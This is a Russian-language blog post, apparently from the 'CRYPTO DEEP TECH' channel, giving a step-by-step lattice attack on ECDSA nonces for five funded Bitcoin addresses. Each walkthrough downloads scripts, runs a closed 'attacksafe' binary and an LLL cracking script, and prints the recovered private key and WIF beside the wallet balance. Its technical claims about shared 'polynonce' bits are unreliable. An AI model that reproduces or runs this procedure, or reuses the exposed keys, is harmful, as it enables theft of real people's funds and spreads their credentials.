Найти в Дзене
CRYPTO DEEP TECH

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA

CRYPTO DEEP TECH В наших самых ранних работах мы опубликовали статью на тему “LATTICE ATTACK” как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки “POLYNONCE ATTACK”, мы решили дополнить статью с использованием 79 signatures ECDSA. Исходя из прошлой статьи, где за полиному мы брали 128 bits и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits. Все что нам нужно это решить проблему скрытых чисел. В этой статье мы разберем пять независимых примеров криптоанализа блокчейна Биткоин. Все примеры будут загружены в репозитории GitHub. За теоретическую основу мы будем брать материалы: “Lattice Attack on Bitcoin” Рассмотрим пример с Биткоин Адресом: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z 6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8 RawTX "hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e9880220
Оглавление

CRYPTO DEEP TECH

В наших самых ранних работах мы опубликовали статью на тему “LATTICE ATTACK” как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки “POLYNONCE ATTACK”, мы решили дополнить статью с использованием 79 signatures ECDSA.

Исходя из прошлой статьи, где за полиному мы брали 128 bits и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits.

Все что нам нужно это решить проблему скрытых чисел.
В этой статье мы разберем пять независимых примеров криптоанализа блокчейна Биткоин. Все примеры будут загружены в репозитории GitHub.

За теоретическую основу мы будем брать материалы:

“Lattice Attack on Bitcoin”

https://attacksafe.ru/lattice-attack-on-bitcoin
https://attacksafe.ru/lattice-attack-on-bitcoin
Рассмотрим пример с Биткоин Адресом:

19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

-3

6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8

-4

RawTX

-5

"hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................

Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txtПерейдем на официальный сайт: https://colab.research.google.com
Выберем опцию “Upload notebook”
Загрузим файл: LATTICE_ATTACK_249bits.ipynb
Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txtПерейдем на официальный сайт: https://colab.research.google.com Выберем опцию “Upload notebook” Загрузим файл: LATTICE_ATTACK_249bits.ipynb

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt

-7
Запустим код и получим нужные нам биты RawTX

with open("HEX.txt") as myfile:

listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

-8

Чтобы реализовать атаку мы воспользуемся программным обеспечение

“ATTACKSAFE SOFTWARE”

www.attacksafe.ru/software
www.attacksafe.ru/software

Права доступа:

!chmod +x attacksafe

ls

-10

Применение:

!./attacksafe -help

-11

-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode

!./attacksafe -version

-12

Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

!./attacksafe -list

-13

Выберем -tool: lattice_attack

Чтобы получить определенные HEX значение R,S,Z к подписи ECDSA, мы ранее добавили данные RawTX через утилиту echo в текстовый документ и сохранили как файл RawTX.txt
-14

Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

-15

Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

-16

Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath

-17
-18
Ранее мы опубликовали статью, скачаем tar-file: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

-19
Перейдем по каталогу:

cd SageMath/

ls

-20
Запустим Python-script: relocate-once.py по команде:

!python3 relocate-once.py

-21
Переместим "AttackSafe" и "SignatureRSZ.csv" в папку "SageMath"

!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'

-22

ls

-23
Скачаем скрипт crack_weak_ECDSA_nonces_with_LLL.py от Dario Clavijo через утилиту wget

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py

-24
Теперь запустим SageMath по команде:

!./sage -sh

-25
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

-26
Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

-27

PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example1/POLYNONCE.py
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example1/POLYNONCE.py

Результат:

-29
Мы получили 79 одинаковых первоначальных bits от 249

Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.

Проверим HEX приватного ключа:

Установим модуль bitcoin

!pip3 install bitcoin

-30
Запустим код:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

outfile.close()

-31
Откроем файл: PrivateKeyAddr.txt
9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

Откроем bitaddress и проверим:

ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB
HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941

https://www.blockchain.com/en/explorer/addresses/btc/19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

-33
-34
-35

BALANCE: $ 1015.58

Рассмотрим остальные примеры:

2

Рассмотрим пример №2 с Биткоин Адресом:

1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z

-36

9130c5b8e92f37d3a58dcae16daa27625cc52b698a83af7c8b891f01bfa0b2af

-37

RawTX

-38

"hex": 0100000041e981df9d37a7af6f5ee77abade3ec58acbf864f942bdecb63ea2efa593e2c3391f0000006b4830450221009d8ceef05e2fa0a623811df57265a3678f902e81dc82c3862d12bbb07b90de18022036bbed961b4f8665eb3fb3047a1398a1aeae519a8e2a1a97de57863fc0cc4a380121029755a17bf76237cde9e05fc333a255b926d526a7763abe725a4f6253ebdae109ffffffff..............................

Удалим файлы с первого примера:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

-39
Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example2/HEX.txt

Запустим код и получим нужные нам биты RawTX

with open("HEX.txt") as myfile:

listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

-40

Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

-41

Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

-42
Запустим SageMath по команде:

!./sage -sh

-43
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

-44
Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

-45

PrivKey = 0x00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example2/POLYNONCE.py
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example2/POLYNONCE.py

Результат:

-47
Мы получили 79 одинаковых первоначальных bits от 249

Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.

Проверим HEX приватного ключа:

Запустим код:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

outfile.close()

-48
Откроем файл: PrivateKeyAddr.txt
-49

Откроем bitaddress и проверим:

ADDR: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z
WIF: KwFNhRPDpgD5X77T8x5oL628aHh9UtscwwrLjGBKE8NeLshYvAqC
HEX: 00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d

-50

https://www.blockchain.com/en/explorer/addresses/btc/1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z

-51
-52
-53

BALANCE: $ 999.10

Рассмотрим остальные примеры:

3

Рассмотрим пример №3 с Биткоин Адресом:

18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz

-54

0b21368bb6e6658adf4079b5ca6e7286c6e13471acef879168e7c17809476c76

-55

RawTX

-56

"hex": 0100000041c7a8d97168ee154550f5e43b9074e5f357a4dc6b2350c96f75e377df0a39b9fa210000006b48304502210097d6b896929d77634b8d9430bc2842209cad42bb236c408e18470b9fd86b3d6a0220684ac14228c4adaa9df819e7fc8e82cf3c4242b74e27f5dd190d63231e8a058a012102990a280aef14e545b9b076b6548a4e886476d967e447bb69efcf0b725efda04effffffff..............................

Удалим файлы со второго примера:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

-57
Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example3/HEX.txt

-58
Запустим код и получим нужные нам биты RawTX

with open("HEX.txt") as myfile:

listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

-59

Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

-60

Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

-61
Запустим SageMath по команде:

!./sage -sh

-62
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

-63
Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

-64

PrivKey = 0x80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example3/POLYNONCE.py
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example3/POLYNONCE.py

Результат:

-66
Мы получили 79 одинаковых первоначальных bits от 249

Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.

Проверим HEX приватного ключа:

Запустим код:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

outfile.close()

-67
Откроем файл: PrivateKeyAddr.txt
-68

Откроем bitaddress и проверим:

ADDR: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz
WIF: L1YFTAP2X6jhi9W6ZVy2xX8H89TYwZcgSKcPLX7NmAx3n8PjqDkU
HEX: 80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5

-69

https://www.blockchain.com/en/explorer/addresses/btc/18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz

-70
-71
-72

BALANCE: $ 1023.25

№4

Рассмотрим пример №4 с Биткоин Адресом:

12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor

-73

6e6d84bc92cd79fba2d1eee5fb47e393896d44f666a50d4948a022751e3f0989

-74

RawTX

-75

"hex": 01000000418ff67c7d3309211ab9d9629d97bbac7730d3cbb419df4ec43d2c5fc4f81bbefb1b0000006b4830450221008c223861acf1f265547eddb04a7cf98d206643a05824e56e97c70beddd18eaf20220139a34bf077a1fdb15e716d765955203e746616dfe8bf536b86d259b5c8a09b8012103c50b5619a40a23ff6a5510238405b8efd3f8f1bc442e1a415b25078b4cbd88e3ffffffff..............................

Удалим файлы со второго примера:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

-76
Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txtСкачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example4/HEX.txt

-77
Запустим код и получим нужные нам биты RawTX

with open("HEX.txt") as myfile:

listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

-78

Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

-79

Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

-80
Запустим SageMath по команде:

!./sage -sh

-81
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

-82
Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

-83

PrivKey = 0x9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example4/POLYNONCE.py
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example4/POLYNONCE.py

Результат:

-85
Мы получили 79 одинаковых первоначальных bits от 249

Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.

Проверим HEX приватного ключа:

Запустим код:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

outfile.close()

-86
Откроем файл: PrivateKeyAddr.txt
-87

Откроем bitaddress и проверим:

ADDR: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor
WIF: L2Xbaxg8QFoLn5URp7GKMyLwEN9dV5TtgpdbXYo7WDJsHZLcT898
HEX: 9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32

-88

https://www.blockchain.com/en/explorer/addresses/btc/12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor

-89
-90
-91

BALANCE: $ 406.03

№5

Рассмотрим пример №5 с Биткоин Адресом:

1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN

-92

8a00ad0cc10d768d6d2b407f99879e556e5fc2917b619cb9a551675b7682a791

-93

RawTX

-94

"hex": "01000000fdf4014f7e4a72ecb9a3ed21a82a42b3127da87bdfee7c10779688dd8a38977cb80ece000000006a4730440220423f7cffadd494fb0148d509e67598b3c8d7f54695ee3830184adc2af234d5cf022005ebe83773bc81c7131fd0580350a998adde20fee6fd2d1da40a0191fea8242c0121027a2250a80a31965e928afff97d1c713e7ce70e6eb7c7491404a79991bfc6b5c1ffffffff...........................

Удалим файлы со второго примера:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

-95
Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example5/HEX.txt

-96
Запустим код и получим нужные нам биты RawTX

with open("HEX.txt") as myfile:

listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

-97

Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

-98

Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

-99
Запустим SageMath по команде:

!./sage -sh

-100
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

-101
Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

-102

PrivKey = 0xe2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2

Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example5/POLYNONCE.py
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example5/POLYNONCE.py

Результат:

Мы получили 79 одинаковых первоначальных bits от 249

Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.

Проверим HEX приватного ключа:

Запустим код:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

outfile.close()

-104
Откроем файл: PrivateKeyAddr.txt
e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2:1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2:1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN

Откроем bitaddress и проверим:

ADDR: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
WIF: L4porgUmuBkMbATA6Pp7r8uqShFt2zTPNEfuPNYi1BCym4hhV8gs
HEX: e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2

-106

https://www.blockchain.com/en/explorer/addresses/btc/1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN

-107
-108

-109

BALANCE: $ 995.39

Literature:

Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/CzaHitewN-4

Источник: https://cryptodeep.ru/lattice-attack-249bits

-110

Криптоанализ